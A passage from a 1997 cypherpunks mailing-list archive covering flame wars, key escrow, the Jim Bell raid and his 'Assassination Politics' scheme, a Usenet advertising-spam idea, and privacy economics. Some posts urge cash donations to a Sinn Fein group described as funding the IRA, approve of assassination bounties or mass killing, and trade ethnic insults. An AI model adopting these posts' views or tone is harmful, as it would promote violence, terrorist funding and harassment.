> network adiministrator", then I'm not surprised if they have chimpanzees
> writing Java code as well.

If "Dr." Dimitri Vulis, aka "Vebis, The Great Spamholio" can work for the 
KGB, then it is no wonder that Russia fell apart.  Then again, the word 
is that the NSA's human resources department hire by the same guidelines. 
Care to share what you know about this?

> I used to think that LISP is the best language for such apps, but wouldn't
> debase it by writing a simulation of a dandruff-covered Armenian in it.

Gee Vulis, I didn't know you were Armenian!

> ****************************************************************************

<Badly KGB chimp generated  LI(th)P code deleted>
 
Like I said, badly written chimp code, what else can be expected from 
you?  If indeed you wrote that code; more likely you snarffed it off some 
usenet group.  Its text smells suspiciously of an old IBM PC (yes, PC as 
in the predecesor of the XT) program called nSults.

Further, you are lying as usual.  There was never such a thing as 
Earthweb LLP, there isn't now.  There was Earthweb, LLC as in Limited 
Liability Corporation, but of course a clueless KGB shill of your 
caliber wouldn't know the difference.  It's now Earthweb, Inc. (This one 
free clue provided courtesy of the Clue Store.  If you'd like further 
clues, please call 1-900-GET-CLUE.  All calls are $2.95/minute, must be 
18 or older to call, or get your parents permission.)

As for the programmers Earthweb employs, I can assure you there is nary any
of the ape family. (Though some wear extremely cool beards :) And Java 
they can write.  But I code no Java, so I won't speak further on the issue.

Oh, and Vebis, please grab that mop behind the door and sweep the 
dandruff you've left behind off the floor.  I wouldn't want anyone 
mistaking it for snow and trying to ski on it.  Besides, I don't want to 
bother calling the health department on you for such an exhuberant lack 
of grooming.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Apr 1997 04:37:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: U.S.S. Liberty
Message-ID: <199704081137.NAA17239@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Maypole digs into his cesspool of a mind for his mailing list 
fertilizer.

 _  o
|<)_/# Timothy Maypole
TT  <T






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Apr 1997 05:16:31 -0700 (PDT)
To: gbroiles@netbox.com
Subject: Re: Denning paper on crypto, EU mandatory GAK
In-Reply-To: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
Message-ID: <9704081216.AA24634@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> The paper has little information which is new to a reader of cpunks; but I
> did note one ominous paragraph referring to the role of "TTPs" in Europe:

She quotes David Herson, who has been "preparing a proposal" for
years.  He had announced that the Commission would publish guidelines
in autumn 1995.  So far, nothing has happened.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 14:11:26 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Denning paper on crypto, EU mandatory GAK
In-Reply-To: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
Message-ID: <334AAA28.12A9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> dated 2/19/97) paper by Dorothy Denning re crypto and crypto
> policy/legislation.
> >>>>
> The European Commission has been preparing a proposal to establish a
> European-wide
> network of Trusted Third Parties (ETS) that would be accredited to offer
> services that support digital signatures, notarization, confidentiality, and
> data integrity.
> The trust centers, which would operate under the control of member nations,
> <<<<
>                                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

  We are seeing a globalization of what has long occurred in the
U.S., wherein the govt will 'shop' for a state with laws on the
books which are needed to screw over a citizen in a different
state, and then proceed to set them up to violate laws that
don't exist in their home state.
  In the future, we will be subjected to prosecution for violating
"international law" every time Upper Mongolia passes laws against
being left-handed, or having warts.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 14:12:13 -0700 (PDT)
To: Christopher Blizzard <blizzard@appliedtheory.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704081254.IAA13618@odin.appliedtheory.com>
Message-ID: <334AAE5E.38F5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Christopher Blizzard wrote: 
> In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
> ber writes:
> :Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
> :the IRS Inspection report, he was not charged with anything relating to the
> :essay itself.  In fact, the raid happened a long time after he published
> :the essay, and may truely be unrelated.

> Of course, the papers only talk about this.

  Buy a clue, dudes.
  The application for a search warrant made it more than plain that
the main basis for the search and seizure fishing expedition mounted
by the Feds was based largely on his promotion of AP.
  Only a few, sparse lines of the application are related to valid
IRS concerns re: taxes, etc. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Tue, 8 Apr 1997 14:10:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Kent Crispin-Baker
Message-ID: <21101068102156@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin wrote:
> 
> On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > Kent Crispin wrote:
> > >
> > > In fact, a case could be made for
> > > considering Jim Bell as a NSA shill. 

> >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > an NSA shill. (and still seems ashamed of his .gov address)
 
> Just so you know, Toto, .gov informs me it doesn't want there to be
> the slightest possibility of anyone thinking I am speaking for it.

  Amazing that they notified you right after I made note
of it, isn't it?
 
> And the part about Jim Bell being an NSA shill? I am not volunteering
> to testify to anything, but your are the *second* person to say
> something about it, so it *must* be true.  And the part about the
> statist agenda?  That must be true too, since you quoted it.

  I think that they are confusing you with Hallam-Baker, who
offered to testify against Bell in court.
  This is an understandable error, since even a modicum of
traffic analysis shows that you work in concert with one
another.
 

> --
> Kent Crispin      
> kent@songbird.com 
  [ And, lest we forget: kc@llnl.gov ]

TruthMonger



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Tue, 8 Apr 1997 14:10:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Kent Crispin-Baker
Message-ID: <21102069502157@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin wrote:
> 
> On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > Kent Crispin wrote:
> > >
> > > In fact, a case could be made for
> > > considering Jim Bell as a NSA shill. 

> >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > an NSA shill. (and still seems ashamed of his .gov address)
 
> Just so you know, Toto, .gov informs me it doesn't want there to be
> the slightest possibility of anyone thinking I am speaking for it.

  Amazing that they notified you right after I made note
of it, isn't it?
 
> And the part about Jim Bell being an NSA shill? I am not volunteering
> to testify to anything, but your are the *second* person to say
> something about it, so it *must* be true.  And the part about the
> statist agenda?  That must be true too, since you quoted it.

  I think that they are confusing you with Hallam-Baker, who
offered to testify against Bell in court.
  This is an understandable error, since even a modicum of
traffic analysis shows that you work in concert with one
another.
 

> --
> Kent Crispin      
> kent@songbird.com 
  [ And, lest we forget: kc@llnl.gov ]

TruthMonger



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 14:20:05 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <F2Lu5D1w165w@bwalk.dm.com>
Message-ID: <199704082118.QAA03138@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i think that it is a good idea.

remember though that it will not be hard to modify newsreader clients to
automatically killfile all articles matching Alice's regexps, or even to
grab them automatically from her website. So Alice may discover that her
business is not as effective.

igor

Dr.Dimitri Vulis KOTM wrote:
> 
> owner-cypherpunks@manifold.algebra.com writes:
> 
> > As we all know, there exist certain programs, called "spambots", whose
> > task is to post various messages to many newsgroups simultaneously.
> > 
> > Besides their posting functionality, certain spambot programs take
> > special care to make their spams undetectable by anti-spambots. In
> > particular, they can be programmed to modify certain fields or the
> > message text itself in such a way that these messages would not look
> > unique, but would still carry the same content.
> 
> I just came up with yet another brilliant idea how to combine Usenet
> marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> paid to publicize certain messages of commercial or political nature.
> 
> She sets up a Web page listing the catalog of regexps that she wishes to
> publicize. Something like:
> 
> 1. Visit.*teens.*http://www.xxxfoo.bar
> 2. Elect.*John M. Grubor.*sheriff
> 4. For a drooling good time.*900-555-5555
> 3. Drink Kaka Cola
> 
> and a price list for each regexp - say, $2 for posting this regexp in a
> moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> not sure if cross-posts should be discounted. Assuming there are several
> such Alices, the prices will be set by supply and demand.
> 
> Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> We'd have to think of a protocol, but Alice assigns Bob an id which he
> must mention together with the regexps in order to get credit. Alice and
> Bob enter a contract. Bob puts one or more of Alice's regexps in his
> Usenet articles - most likely in the .signature. For example:
> 
>    From: bob
>    Newsgroups: rec.sports.phishing,alt.fan.alice
>    Message-ID: <123@bob.server>
>    <something phishing-related>
>    --
>    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
>    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola
> 
> Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> regexps that she is paid to promote. When she encounters Bob's article,
> it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> the newsgroups, and credits Bob's account.
> 
> If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> then Bob gets paid again. If somehow an article contains the ID# of two
> or more of Alice's agents, they split the fee.
> 
> Alice's contract can also specify that if a third party forges a cancel
> within a week for Bob's Usenet article containing the regexp, then Alice
> will pay nothing and let Bob sue the forger for the lost income. (This
> may become moot as more and more ISPs ignore forged cancels.) This gives
> Bob the insentive to spam intelligently - not to trigger any cancelbots
> and not to have his plug pulled by his ISP.
> 
> Alice can also put some reasonable caps on the number of repetitions
> because if Bob posts the same regexp 10,000 times, the marginal exposure
> is less from Bob than from a newbie Carol. Again, if there are several
> such Alices, the market will take care of negotiating such details.
> 
> Actually, this doesn't even need e-cash - Alice can pay regular $$$.
> Hi Ross - if you're still on these lists, I think you'll like this.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 15:10:54 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <no.id>
Message-ID: <199704082129.QAA03372@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Another problem: what would prevent an anti-spam zealot from posting
the following:

    From: antispammer@usenet.cabal.com
    Newsgroups: rec.sports.phishing,alt.fan.alice
    Message-ID: <123@bob.server>

    <something phishing-related>
    --
    Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
			do not drink it, I am just collecting $$ from
			stupid Alice, Hahaha!!!


Igor Chudov @ home wrote:
> 
> i think that it is a good idea.
> 
> remember though that it will not be hard to modify newsreader clients to
> automatically killfile all articles matching Alice's regexps, or even to
> grab them automatically from her website. So Alice may discover that her
> business is not as effective.
> 
> igor
> 
> Dr.Dimitri Vulis KOTM wrote:
> > 
> > owner-cypherpunks@manifold.algebra.com writes:
> > 
> > > As we all know, there exist certain programs, called "spambots", whose
> > > task is to post various messages to many newsgroups simultaneously.
> > > 
> > > Besides their posting functionality, certain spambot programs take
> > > special care to make their spams undetectable by anti-spambots. In
> > > particular, they can be programmed to modify certain fields or the
> > > message text itself in such a way that these messages would not look
> > > unique, but would still carry the same content.
> > 
> > I just came up with yet another brilliant idea how to combine Usenet
> > marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> > paid to publicize certain messages of commercial or political nature.
> > 
> > She sets up a Web page listing the catalog of regexps that she wishes to
> > publicize. Something like:
> > 
> > 1. Visit.*teens.*http://www.xxxfoo.bar
> > 2. Elect.*John M. Grubor.*sheriff
> > 4. For a drooling good time.*900-555-5555
> > 3. Drink Kaka Cola
> > 
> > and a price list for each regexp - say, $2 for posting this regexp in a
> > moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> > not sure if cross-posts should be discounted. Assuming there are several
> > such Alices, the prices will be set by supply and demand.
> > 
> > Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> > We'd have to think of a protocol, but Alice assigns Bob an id which he
> > must mention together with the regexps in order to get credit. Alice and
> > Bob enter a contract. Bob puts one or more of Alice's regexps in his
> > Usenet articles - most likely in the .signature. For example:
> > 
> >    From: bob
> >    Newsgroups: rec.sports.phishing,alt.fan.alice
> >    Message-ID: <123@bob.server>
> >    <something phishing-related>
> >    --
> >    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
> >    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola
> > 
> > Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> > regexps that she is paid to promote. When she encounters Bob's article,
> > it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> > the newsgroups, and credits Bob's account.
> > 
> > If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> > then Bob gets paid again. If somehow an article contains the ID# of two
> > or more of Alice's agents, they split the fee.
> > 
> > Alice's contract can also specify that if a third party forges a cancel
> > within a week for Bob's Usenet article containing the regexp, then Alice
> > will pay nothing and let Bob sue the forger for the lost income. (This
> > may become moot as more and more ISPs ignore forged cancels.) This gives
> > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > and not to have his plug pulled by his ISP.
> > 
> > Alice can also put some reasonable caps on the number of repetitions
> > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > is less from Bob than from a newbie Carol. Again, if there are several
> > such Alices, the market will take care of negotiating such details.
> > 
> > Actually, this doesn't even need e-cash - Alice can pay regular $$$.
> > Hi Ross - if you're still on these lists, I think you'll like this.
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> 
> 
> 	- Igor.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:09:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: 20 Armed Feds raid home of guy (Jim Bell) who posted to Internet
In-Reply-To: <199704081746.KAA30351@you.got.net>
Message-ID: <F8Zu5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


tcmay@got.net (Tim May) writes:
> had a chance to arise. And at least a couple of CP list members have talked
> about lawsuits, without any apparent devastation of their repuations (even

Has or hasn't C2Net's reputation been devastated by Sandy Sandfart?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 8 Apr 1997 23:42:09 -0700 (PDT)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com>
Message-ID: <3.0.1.32.19970408170547.0063b688@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 AM 4/5/97 -0800, you wrote:
>As for the "drug conviction", he was nailed for possession of phenyl acetic
>acid in 1989. The government tried to prove that he was trying to manufacture
>meth, but was unable and Jim pleaded guilty to a lesser charge.  

>(Of course,
>what are prohibited molecules and non-prohibited molecules is an ever
>changing maze.  It is pretty hard to keep track of what is "legal" and
>"illegal" in that area.  Seems to be "whatever we say it is".  

It's actually quite straightforward - it all depends on the 
intent of the molecules being arrested.  If they're just loitering around,
it's not illegal, but if they're loitering with intent to commit public
intoxication, or conspiring to form an illegal syndicate, you may be
in big trouble....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Please donate to Sean Fein whenever Hallam-Baker posts to this list
Message-ID: <Ls3u5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > >You may have put your own life at risk. The IRA is not the only
> > >terrorist group in Ireland, its opponents make a point of assasinating
> > >anyone who openly supports IRA activities.
> > >
> > >	Phill.
> 
> Oh dear Dimitri, I do hope Phill hasn`t frightened you *too* much ;-)

Not at all - he just reaffirmed my conviction that the IRA is right.
> 
> > Paul, or someone in U.K. -
> > I'd like to donate $1 to the IRA every time Hallam-Baker posts to
> > this mailing list.  Can someone please tell me a convenient way
> > to send them donations?  Thank you very much.
> 
> I would say you were probably best to send a $1 donation for each 
> post to Sinn Fein, the "legitimate" political wing of the IRA which 
> claims not to condone their violent actions but is, in fact, a 
> conduit for IRA funding. I don`t know their address but if you do a 
> web search in UK polotics for Sinn Fein you should find them pretty 
> easily. They may also be a good site to run an AP bot from ;-)

That's an excellent suggestion!  Thank you very much, Paul.

I found their web site at http://www.irlnet.com/sinnfein.
They have a little electronic commerce page - if you have
ssh, you can order a cool Bobby Sands T-shirt and pay with
your Visa or MasterCard.

OK, I hereby pledge to snail-mail $1 cash to:

     Friends of Sinn F\'ein
     510 C St NE
     Washington, DC 20002

Every time Hallam-Baker posts to this mailing list.
I urge other list members to do likewise.
You will be supporting a just cause.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 8 Apr 1997 14:39:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704082138.RAA26359@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger (#23) wrote:
> Only, I say only, when it became common knowledge that Castro
> was backed by the commies did he become the villain.
> 
> Better the people suffer under bu$ine$$-supported Batista than
> be ruled by a Red!

  The Cuban people obviously thought differently, regardless
of the wishes of foreign interests.
 
> Believe it; I was there, whippersnapper!

  Yes, but you wouldn't be *here* if my gun hadn't jammed.

TruthMonger (#7)
"This grassy knoll looks like a good place to have lunch.
What's in the picnic basket?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 8 Apr 1997 13:24:06 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Blanc Weber / Positivist Schill
Message-ID: <860526937.0523718.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>   Are you part of a cypherpunks list conspiracy to balance my 
> cynicism? Are you actually suggesting that there may be a spark
> of hope for mankind to prevail in the battle with the forces of
> mindless robotic sheepnocity? 

There is little hope unless we kill around 70% of the population of 
the planet, those untouched by western "democracy" or the 
totalitarian autocracies of the mid and far east are the only people 
sure to be mentally capable of comprehending the ethical theory and 
idealogy of anarchism.

>   You seem to be one of the eternal optimists who can even see
> the possible good in AP.

One does not need to be an optimist to see the good in AP, merely 
capable of following a logical chain of thought without allowing 
yourself to react to things rather than really considering them. 

>   I suggested in a recent post that perhaps Green Peace could use
> the AP system to drain the profit margins of whalers without 
> actually causing their death. Of course, I was low on Scotch at
> the time, so my idea cannot be taken seriously.

I am low on Jack Daniels at the moment, so I too am not 
functioning as usual. Reality is merely a halucination brought 
on by lack of alcohol. 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 8 Apr 1997 18:16:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <199704090116.SAA12194@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Roberts suggestively wrote:

>>The War on Drugs was first declared by President Nixon. It has been a
>>failure ever since.

>No, the "War on Drugs" was in Vietnam.
>
>Dr. Roberts

Lost that one too.

AP is OK if it's a bounty on drug dealers. More hypocrisy.

Ms. Dr. Roberts








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 18:31:39 -0700 (PDT)
To: null@myemail.net
Subject: Re: Kent Crispin-Baker
In-Reply-To: <21101068102156@MyEmail.net>
Message-ID: <19970408182855.29483@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 08, 1997 at 04:10:04PM -0500, null@myemail.net wrote:
> Kent Crispin wrote:
> > On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > > an NSA shill. (and still seems ashamed of his .gov address)
> >
> > Just so you know, Toto, .gov informs me it doesn't want there to be
> > the slightest possibility of anyone thinking I am speaking for it.
> >
>
> Amazing that they notified you right after I made note
> of it, isn't it?

No, they notified me years ago.  The fact that it was noticed on this 
list reminded me that I had been lax.

Just to be absolutely clear on this, everything you see from me is my 
personal opinion.  I do not speak for any government agency.

> > And the part about Jim Bell being an NSA shill? I am not volunteering
> > to testify to anything, but your are the *second* person to say
> > something about it, so it *must* be true.  And the part about the
> > statist agenda?  That must be true too, since you quoted it.
> 
>   I think that they are confusing you with Hallam-Baker, who
> offered to testify against Bell in court.
>   This is an understandable error, since even a modicum of
> traffic analysis shows that you work in concert with one
> another.

Ask me if I care.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Tue, 8 Apr 1997 18:52:25 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: some arguments for privacy
In-Reply-To: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net>
Message-ID: <Pine.SUN.3.96.970408175638.24156A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 8 Apr 1997, Greg Broiles wrote:

> One of the problems with talking about privacy is that people use the word to
> mean many different things. Apropos to the current discussion, I see two
> different uses co-existing in a non-useful way:
> 
> 1.	Privacy as a lack of information
> 2.	Privacy as a right to control the flow of information
> 
> where the second usage refers to the ability to decide who ends up with the
> first usage. I'm assuming that lack of information can be characterized as
> risk, and that risk can be characterized as negative value. The Coase Theorem
> would seem to suggest that the second usage is (may be) superfluous, because
> the [lack of] information/risk will be allocated to the party which values it
> most. However, the right discussed in (2) is still meaningful, because it is
> (and will) be used as a bargaining chip to gain or lose other things of
> value.

What I meant by privacy is somewhat different from your definitions: "the
ability of an individual to control the distribution of information about
himself".  Notice that I said "ability" instead of "right".

Part of what makes privacy so interesting is that the Coase Theorem
doesn't apply.  If you look at the Coase Theorem carefully, it presuposes
the lack of transaction costs, which in turn means that all relevant
information is distributed symmetrically among interested parties.
(Otherwise the cost of inducing some individuals to disclose private
information to others becomes part of the transaction cost.)
Therefore even to invoke the Coase Theorem implies that either there is no
privacy, or for some reason no one chooses to exercise his privacy.

In fact, this is exactly what I meant by the inefficiency of privacy:
not only does the Coase Theorem not apply to privacy itself, it
undermines the Coase Theorem everywhere else by increasing transaction
costs.

The rest of your article is very interesting, so please keep going.  I'll
just take this opportunity to point out that the most useful measure of
efficiency is a relative one.  Even the centrally planned economy is
not totally inefficient.  Apparently some CPEs seem quite able to keep its
citizens from starvation, even for years at a time.  The CPE is only
inefficient compared to the market economy.  If for some reason human
beings are inherently unable to organize markets (perhaps because of some
deep-seated cultural bias against putting prices on essentials like food
and children), then the CPE might very well be the best alternative. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
In-Reply-To: <860526938.0523719.0@fatmans.demon.co.uk>
Message-ID: <m67u5D90w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > 	Like Insurance? By purchasing insurance you are in effect
> > betting that you _will_ have an accident that does more damage than
> > you have paid in premiums.
> >
> > 	Really contorted huh?
>
> Hmm, I hadn`t thought of that, this is an interesting way to see AP:
> Taking out a life insurance policy on someone else...

But of course - entities that sell insurance/write options refer to
their business as "making bets" and that's exactly what it is.

By the way a lot of people in the finance industry are compulsive
gamblers who lose tremendous amounts of money on horses, sports
events, Atlantic City, etc.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 8 Apr 1997 21:22:54 -0700 (PDT)
To: Wei Dai <cypherpunks@toad.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <v03007804af70bb03abda@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 AM -0800 4/8/97, Wei Dai gave some arguments pro and con privacy:
>Privacy as Restriction on Signaling
>
>....  Consider a possible future where every
>room in every house is wired with a camera that continously broadcasts to
>the Internet.  Life would certainly be very uncomfortable in this future,
>as every trivial action must be carefully considered in order to preserve
>one's reputation.

Or peoples expectation about the range of private behavior will change to
be more in line with the reality.  Those whose behavior is 5 standard
deviations away from the norm will be screwed.


>Possible Benefit of Non-Privacy Limited
>
>This is more of an argument for privacy technology, rather than privacy
>per se.  Suppose that privacy-invading technology becomes much cheaper
>than privacy-enhancing technology.  Given the arguments above it seems
>inevitible that governments will pass laws to restrict the distribution of
>certain kinds of information about individuals.  But of course this will
>not keep the information out of the hands of those governments themselves
>and other resourceful organizations.

Such laws will support monopoly use of personal information, and as such be
very unlikely to contribute to the good of society.

At CFP '97, David Brin gave a lunch talk where he argued against privacy
and in favor of accountability.  The example he used was the cop and the
driver, both with the secure recording TV cameras on their shoulders.  Of
course the crypto-anarchist view is you can use any information you can
get, and I can use strong privacy technologies to keep you from getting it.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 8 Apr 1997 16:47:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
Message-ID: <199704082346.TAA08641@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Anonymous writes:

>  There is a cost with
> anonymity: people take you less seriously, none of your reputation is
> on the line.  Anonmous persistent personas might be better as they
> allow reputation to be tracked.

  True, if your concern is to be listened to by those concerned about
reputation. If your aim is for your post to stand upon its own facts
and logic, however, then a 0-reputation persona may be preferable.
  There were a series of "Jim Bell is a loon." postings which I 
found to be uninformative in regard to the points they seemed to
want to ramrod past the readers by virtue of discounting the 
message via slamming the messenger.

> >   So the end result might well be, not the assassination of those
> > involved, but the lessening of their power by virtue of depleting
> > their funds, which leads to a more equal playing field.
> 
> I'm not sure this follows.
> 
> If a corporate can use it's wealth to influence other groups, for
> example by assasinating key employees of opposition company, it may
